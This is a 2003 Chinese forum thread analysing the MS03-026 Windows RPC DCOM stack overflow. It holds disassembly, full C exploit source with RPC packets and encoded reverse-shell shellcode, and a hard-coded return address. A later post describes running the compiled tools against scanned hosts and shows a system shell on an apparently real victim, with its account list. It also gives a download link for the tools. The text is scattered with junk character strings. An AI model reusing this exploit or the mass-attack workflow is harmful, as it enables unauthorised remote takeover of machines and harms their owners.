LSD RPC 溢出漏洞之分析

ASEE

作者：FLASHSKY ! M1 G2 z1 g+ ^; X. p9 K, }作者单位：启明星辰积极防御实验室 WWW SITE：WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET，WWW.SHOPSKY.COM 邮件：flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com 感谢BENJURRY做测试，翻译和代码的通用化处理。 4 Y3 e$ I2 v1 m0 `邮件：benjurry@xfocus.org 9 N4 @ O8 V" H# q% u6 q - y5 h. \8 {5 _: ?! ~. }LSD 的RPC溢出漏洞（MS03-26）其实包含了2个溢出漏洞，一个是本地的，一个是远程的。他们都是由一个通用接口导致的。 , K+ P- D3 B* \) u7 s, o% h导致问题的调用如下： hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi); 这个调用的文件名参数（第5个参数，会引起溢出），当这个文件名超长的时候，会导致客户端的本地溢出（在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间，但是是用lstrcpyw进行拷贝的），这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在，在进行处理，因此由于建不了长文件，所以要利用这个溢出不能直接调用这个API，而是构造好包信息以后直接调用LPC的函数，有兴趣的可以自己去试。),我们来讲解一下远程的溢出。 在客户端给服务器传递这个参数的时候，会自动转化成如下格式：L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器，于是在远程服务器的处理中会先取出servername名，但是这里没做检查，给定了0X20（默认NETBIOS名）大小的空间，于是堆栈溢出产生了： 问题代码如下： ! ^& L+ n$ ?$ G3 L# BGetPathForServer： .text:761543DA push ebp 3 m& v+ Y/ F# X& m* g$ O6 y9 z) Y.text:761543DB mov ebp, esp ) S5 T2 t$ T1 [: @) s! A* c.text:761543DD sub esp, 20h <-----0x20空间 + E4 d3 z) M0 f0 Z/ x8 g.text:761543E0 mov eax, [ebp+arg_4] .text:761543E3 push ebx .text:761543E4 push esi 6 c ?. o2 u) G3 k* k& ?.text:761543E5 mov esi, [ebp+hMem] .text:761543E8 push edi " T5 M" X4 m" v- W; a) D& D.text:761543E9 push 5Ch ' i V5 Y. M- L% |% I.text:761543EB pop ebx ) i9 J U6 Q1 j. z& h0 k2 @.text:761543EC mov [eax], esi - |% O, p% L4 r+ ?7 d& J.text:761543EE cmp [esi], bx * ^7 l8 H! R2 }* W( w* w' H.text:761543F1 mov edi, esi 2 X, I) D, {9 F6 ?3 a9 H# I& t.text:761543F3 jnz loc_761544BF ; i- v+ h1 ?& z.text:761543F9 cmp [esi+2], bx 9 Q4 m9 g; Q/ ?, ~7 E' g.text:761543FD jnz loc_761544BF & j5 m Y- e5 z, O* C6 l.text:76154403 lea eax, [ebp+String1]《-----------写入的地址，只有0X20 3 O8 P. R6 E/ w9 g' i.text:76154406 push 0 ) ^1 @9 i& w0 J.text:76154408 push eax h8 v9 M0 E4 i# R$ U5 v5 n) h) w.text:76154409 push esi 〈----------------------我们传入的文件名参数 : ^ Y1 t. J5 a3 `5 R) {& C.text:7615440A call GetMachineName 。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候，溢出点生效 : y$ q% Q5 |) @1 B GetMachineName: 0 c# F; R I1 ?% X.text:7614DB6F mov eax, [ebp+arg_0] .text:7614DB72 mov ecx, [ebp+arg_4] : o) [9 z* @$ @4 x.text:7614DB75 lea edx, [eax+4] .text:7614DB78 mov ax, [eax+4] ! z. ?$ `. Q( Y6 u! a.text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C .text:7614DB80 jz short loc_7614DB93 ; K+ w# D' I$ t% K( |.text:7614DB82 sub edx, ecx ; \7 z7 Q1 N' x+ T& d7 `.text:7614DB84 ' G: L4 f3 V8 Z.text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j .text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间，超过就溢出 ' Y3 X# M8 [& O( E7 r, E0 r( K8 s.text:7614DB87 inc ecx .text:7614DB88 inc ecx . v0 Q& p* |% ]; P; g# ?2 s0 p.text:7614DB89 mov ax, [ecx+edx] , V/ R$ k! {- u- D/ O2 p6 C$ g.text:7614DB8D cmp ax, 5Ch .text:7614DB91 jnz short loc_7614DB84 .text:7614DB93 0 S. A3 D# ^1 m! T$ qOK，我们现在就需要想法来利用这个漏洞，由于\\SERVERNAME是由系统自动生成的，我们只能利用手工直接生成RPC的包来实现，另外SHELLCODE中不能包含0X5C，因为这样判断就是\\SERVERNAME结束了。 下面就给出一个实现的代码，注意点如下： 1.由于RPCRT4，RPCSS中没有JMP ESP的代码，这里使用了OLE32.DLL中的，但是这可能是会重定位的，大家测试的时候 8 J. [: Z. ~! t+ U+ {需要再确定或自己找一个存在的JMP ESP的代脉，我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。 2。这里使用了反向连接的SHELLCODE，需要先运行NC 3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系，因为不是整数的话，整个包的长度会有一些填充，那么 计算就不满足我这里给出的一个简单关系了，会导致RPC包的解析无效果。 4。在溢出返回前，返回地址后面的2个参数还会使用，所以需要保证是个内存可写空间地址。 5，这里是直接使用堆栈溢出返回的，其实大家也可以尝试一下覆盖SEH，这里就不再多讲了。 #include #include 5 _6 a. ^4 Y8 |% U1 d#include #include #include #include ' O! n* q6 x$ V$ C/ I 4 Z s8 w# F! b" Q0 E& M+ Nunsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, 0 |# Y1 ]7 B& `0 k0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 8 }$ E$ {) b5 A$ ^6 T. n0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; ' D4 L' e7 T( @ 6 M( \; ~4 ^* O! j* u zunsigned char request1[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 / o# y( j1 v) |# g' }+ c,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 ' @* w; w( n. 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W: z# u/ R/ m1 V: U3 b,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 " k6 H1 n6 x" a,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 5 m/ N$ B+ ~+ k% i5 c3 W2 U" s,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 & l# Z( K H* U7 {$ v0 T3 ^! g,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 % y( j* v$ [' N( o" x,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 6 _' f) O1 ~6 \5 m,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF * v+ K- |# V3 |4 i: h,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 . l# _7 B' B& o5 ~3 m,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 , D t2 H$ t5 j+ D' K,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 6 Z3 l& P' d% m' ?- P, Z,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 ) L7 T# a t( g. X7 B, I7 k,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 - F9 b. M6 |. q+ C3 O; c( a,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 ' `( t- ]: z9 r D2 G0 F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 3 E: Q: `$ [) X,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 ( P! m# n+ O" P8 d,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 0 y: V! X1 }( D- O0 \,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 T: s \& d" u1 ], T% r s2 E* y2 ~,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 / p2 g4 j: ]( s, A/ B, P$ E,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 & d4 w Z/ s3 { q; d# J `9 b6 },0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E * a" }' K M" G+ j4 Q,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 6 W' v: V7 w5 Q$ [5 R,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 + r( I8 a: N+ Y+ k4 [,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 4 Q; Z6 ^ T( ~,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 / o) [! K$ m1 E5 b y,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00}; ) c4 E& B% O3 P0 a6 X) `( D unsigned char request2[]={ % T# s7 o& [2 Q M$ Y! F% ~( T0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 / w1 m r+ R* T7 ?,0x00,0x00,0x5C,0x00,0x5C,0x00}; $ x% d1 J3 h$ K6 h, Q1 ] unsigned char request3[]={ 3 |. s; c6 z" x; ]$ H9 ~7 n0x5C,0x00 ,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 & D6 O' s8 \; ?% q ],0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 7 \0 p4 g: z; j, r7 V4 K,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; 4 a; a6 ?, {: ^4 Junsigned char sc[]= "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" " }+ R+ L1 a, V8 J; Q+ Q"\x46\x00\x58\x00" "\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL，可能需要自己改动 "\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址 : e1 z! i& Y7 I+ `//下面是SHELLCODE，可以放自己的SHELLCODE，但必须保证sc的整体长度/16=12，不满足自己填充一些0X90吧 //SHELLCODE不存在0X00，0X00与0X5C 2 q" x8 m* C& u"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01" "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30" "\x93\x40\xe2\xfa" // code 0 O6 c5 w) p8 V1 R6 h"\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1" "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2" "\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93" 1 E7 l0 b+ k# r# O! o) D n"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7" "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0" $ C0 W6 @/ X$ ]% f"\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8" 5 y% T# e) q: U& M% S"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93" 4 l, i# i" k9 I"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93" 4 S# d% F% |8 N: U W4 r"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0" "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87" : u" ~( l6 D) ] o- ^; b2 e( \"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60" : \ S* o& }$ J% M, b"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5" 6 w) ^& F0 @7 e5 H+ x"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90" 7 j& {" [3 j7 f8 t"\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22" 0 _' u( k0 a! u9 W$ `' ^: Q"\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18" 8 i, D5 n* B. r* B: E7 z"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92" . f1 |; m; Z" s"\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3" ( d- ^: B7 _" u1 ] a3 g; P/ L"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93" "\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9" "\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18" / c1 _; ~0 |1 s& I& y8 ]"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce" "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" & J- u/ s6 }/ X" m"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7" 9 {5 y; n0 {+ {: U( V# n"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4" "\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca" 5 X( L- S# u* q9 }6 `"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90" 5 R. l) w6 B+ ~* o"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; unsigned char request4[]={ 0x01,0x10 ) w' S" i F: K) q" T) e' o,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; & T# r% ?+ } l: K5 O; x- Svoid main(int argc,char ** argv) { 9 S" D! M- B% E7 n6 F0 p7 cWSADATA WSAData; & \; q9 n: A$ c5 rSOCKET sock; int len,len1; SOCKADDR_IN addr_in; short port=135; 5 F! ]; M' C4 K) f; j- U, _4 @unsigned char buf1[0x1000]; unsigned char buf2[0x1000]; / p' ^. w; E) {% k) U2 C3 g1 o! }unsigned short port1; 0 R- d9 c: N5 D3 _0 P! E- EDWORD cb; , `5 `- L3 z" [! ]! G, m3 `" A6 o8 u, Cif (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) { ; g) x' R2 J" x6 V& b+ }8 H$ z4 uprintf("WSAStartup error.Error:%d\n",WSAGetLastError()); return; 7 M6 T. `% \! M* s- {} - D# D& T3 P$ Raddr_in.sin_family=AF_INET; 9 O& ~1 ?1 j: ?3 Y) l& x) Gaddr_in.sin_port=htons(port); addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); # K- g8 z0 N8 F4 [- R0 G6 p* V% u 0 Z8 E a8 N% J6 Nif ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) 2 a% c# k" I: T& i: Z2 d0 ]9 F1 ~{ printf("Socket failed.Error:%d\n",WSAGetLastError()); ) ^$ h1 w0 z8 g( ~- p$ ]+ z: Creturn; } if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) N# h1 U8 R C' M) @) E{ $ i1 H0 N$ a% L# P w" Eprintf("Connect failed.Error:%d",WSAGetLastError()); R# K5 P% r f i0 E5 D) Jreturn; } % o$ }; t. u( W6 C: Qport1 = htons (2300); //反向连接的端口 port1 ^= 0x9393; cb=0XD20AA8C0; //反向连接的IP地址，这里是192。168。10。210， cb ^= 0x93939393; " R: ?1 X( H1 @3 x$ o) r*(unsigned short *)&sc[330+0x30] = port1; 7 D* ~) y( }1 z1 v1 y2 |" s2 {# ?*(unsigned int *)&sc[335+0x30] = cb; 3 u. \- @( M0 Olen=sizeof(sc); memcpy(buf2,request1,sizeof(request1)); len1=sizeof(request1); 7 d& T: ?; K" J, v2 [# J# {*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度 *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度 ^: ?( ? {& \* hmemcpy(buf2+len1,request2,sizeof(request2)); " \/ Z/ v2 M, U& t* S# qlen1=len1+sizeof(request2); memcpy(buf2+len1,sc,sizeof(sc)); len1=len1+sizeof(sc); 7 {% x6 E* S, t, V8 n2 umemcpy(buf2+len1,request3,sizeof(request3)); , u. F$ Y0 ^; D9 o% @& Hlen1=len1+sizeof(request3); memcpy(buf2+len1,request4,sizeof(request4)); / S" v" l# h) elen1=len1+sizeof(request4); *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc; //计算各种结构的长度 ! d5 S5 S, G* C" z*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; # j* i: a- w$ k" {4 c*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc; 4 ~3 ^7 i: q9 O ?8 T6 I( k, f*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc; % O0 m' C! a" |! q*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc; 5 o4 d& S% C0 t' ^ }*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc; ; D8 o) K, v- W U*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc; if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) + h8 X, @: B" }1 u{ ) Z( i9 @' B" Z, H- y `5 xprintf("Send failed.Error:%d\n",WSAGetLastError()); / _8 ?+ m5 R3 Ureturn; } , ?9 ?* T% e% N. y" ?& N len=recv(sock,buf1,1000,NULL); 7 B7 D; U1 Q- w5 s) Uif (send(sock,buf2,len1,0)==SOCKET_ERROR) . \* A2 F7 p2 [{ printf("Send failed.Error:%d\n",WSAGetLastError()); return; } len=recv(sock,buf1,1024,NULL); 7 g \( M8 H# n+ _8 Y3 }} , t- u$ B+ S z- n) } 补丁机理： 补丁把远程和本地的溢出都补了，呵呵，这个这么有名的东西，我也懒得多说了。 补记： 由于缺乏更多的技术细节，搞这个从上星期五到现在终于才搞定，惭愧，不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久，怎么也无法远程进入这个函数，最后偶然的一次，让我错误的看花了眼，再远程调用的时候，以为GETSERVERPATH是存在本地溢出的GetPathForServer函数，，心中以为远程进入了GetPathForServer函数，仔细的跟踪，这才发现问题所在。感谢所有关心和指导我的同志们。

ASEE

攻击：XDcom.rar远程溢出攻击程序里有chdcom和endcom 2个溢出攻击程序 chdcom针对以下版本: ( K/ B3 z. k& u0 B9 m0 H+ J$ @! k( \- 0 Windows xp SP1 (cn) - 1 Windows 2000 SP3 (cn) " H) G; p3 ]7 r9 O: }2 b" \- 2 Windows 2000 SP4 (cn) - 3 Windows 2000 SP3 (english) - g! l1 ]& W1 {- 4 Windows 2000 SP4 (english) 4 Q: Q( w+ t, A" M0 Z% @1 q" Y- 5 Windows XP SP0 (english) - 6 Windows XP SP1 (english) ' ~2 S) A% x; D- c1 b( ^/ iUsage: chdcom + a+ d6 e4 ^# E$ h: p, L$ u7 Dcedcom针对以下版本: # g6 |) u6 y7 \0 ^- 0 Windows 2000 SP0 (english) 1 m v/ P# y6 K8 B* \1 P- 1 Windows 2000 SP1 (english) - 2 Windows 2000 SP2 (english) - 3 Windows 2000 SP3 (english) + E+ e5 a) {! B( J4 i- 4 Windows 2000 SP4 (english) + _% [" o( |2 c* |0 Y- 5 Windows XP SP0 (english) & a2 D, r5 P' e5 ~2 |8 b: L* u- 6 Windows XP SP1 (english) F# d3 E5 I: @( Z% p0 YUsage: endcom cygwin1.dll应用程序扩展 溢出目标IP前.先用扫描器扫描开135端口的肉机. % i' B9 \( M% h! X6 [) C我已经测试近百台主机，当然都开了135的。我是用80来作为判断Target ID的标准。应该不会有错的。其中产生DOS（也就是说明益处成功）为%70左右， 3 [. W: T; A" L- ]: N7 V. Y R; \比如说目标69.X.173.63开了135端口.Target ID是4 C:\dcom>chdcom 4 69.X.173.63 - D. c! z5 F" X/ j) T! v4 {--------------------------------------------------------- 0 V) z1 ^5 `4 m- Remote DCOM RPC Buffer Overflow Exploit 7 S/ U3 X5 _$ g8 \; m2 r8 W1 _- Original code by FlashSky and Benjurry - Rewritten by HDM last 0 ]) j! U" ]6 K" t, M0 x9 e N- last by nic -Compiled and recorrected by pingker! 5 n9 Z6 B- W$ O2 t4 m- Using return address of 0x77f92a9b - Dropping to System Shell... 6 L7 K) K, ]% I9 i- n) r0 E3 d Microsoft Windows 2000 [Version 5.00.2195] " p* T$ o' y, f: k K! r(C) Copyright 1985-2000 Microsoft Corp. 8 _" a" r0 m+ Z, D & h+ D; n, ?" D vC:\WINNT\system32> 成功溢出. / z1 B5 T. x' x6 TC:\WINNT\system32>net user ( j. _8 t( e( V' V* C: ^net user & E8 p* @7 q% D$ L User accounts for \ ---------------------------------------------------------------------------- --- ) |, d: ?# G/ L5 Z2 s6 BAdministrator ASPNET billbishopcom divyanshu ebuyjunction edynamic1 edynamic2 Guest infinityaspnet + }* e& N0 S! u4 z3 jinfinityinformations IUSR_DIALTONE IUSR_NS1 % _7 B8 u. u; {IWAM_DIALTONE IWAM_NS1 SQLDebugger TsInternetUser WO The command completed with one or more errors. 这样一来你想干什么就是你的事了. b7 m) y( ~# G/ C这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标 重启才行. CN可以是繁体或简体中文颁本. 再次警告:不要对付国内主机!!!!!后果自负!!!! ' N' J6 S" ]% y) oXDcom.rar远程溢出攻击程序下载: 7 Y: `2 J5 E6 Phttp://www.cnse8.com/opensoft.asp?soft_id=206&url=3

ASEE

补丁：
" R; `6 q) C- Z; ?. c* s8 y$ WWindows NT 4.0 Server ：

http://microsoft.com/downloads/d ... &displaylang=en
7 K- ]$ c9 ^7 n% }1 U* z0 H7 V/ H
1 Y* g- E7 E& DWindows NT 4.0 Terminal Server Edition：
. q1 a" T  {4 ?- E" P7 h" ^
http://microsoft.com/downloads/d ... &displaylang=en

Windows 2000：

' c/ ^5 D% V* k6 Q* E; m- Thttp://microsoft.com/downloads/d ... &displaylang=en
/ p/ Q# C* w7 u% x3 j# `1 k( U（中文）http://microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=C8B8A846-F541-4C15-8C9F-220354449117
9 `+ c# e( L: A$ t1 P5 {7 J
Windows XP 32 bit Edition ：
$ @; r1 w. Q# C2 v9 V
1 Q# X- U5 N/ R# y7 ~+ i, P/ Z; fhttp://microsoft.com/downloads/d ... &displaylang=en
) Y4 _9 W; ^6 w% M: @) P
Windows XP 64 bit Edition：

8 o4 z7 G& Z1 S3 h0 shttp://microsoft.com/downloads/d ... &displaylang=en
9 p6 t9 \' |1 t; \+ L3 Z+ i6 B' m
Windows Server 2003 32 bit Edition：
' n& [$ C: s6 `7 G( m1 A
http://microsoft.com/downloads/d ... &displaylang=en

5 ]6 q' O% U! Z( w6 uWindows Server 2003 64 bit Edition：

http://microsoft.com/downloads/d ... &displaylang=en
1 }4 _% w% \1 @1 a/ m
7 T* j1 e, `: l( R

$ s- F+ v! T/ P: R' B0 n. A

[此贴子已经被作者于2003-8-9 23:05:32编辑过]

ASEE

上述那段捆绑了SHELL CODE的C代码还不完整，没有处理返回的数据，因此VC下编译后的程序执行后没有反应，大家如果有兴趣研究的话，可以补充完整（俺工作太忙，没有太多的时间去补充，Hoho,不要成为只会使用工具的“伪黑客”，说白了，只会使用工具的人都是菜鸟，网络原理都弄不清楚，还搞什么攻击，KAO）。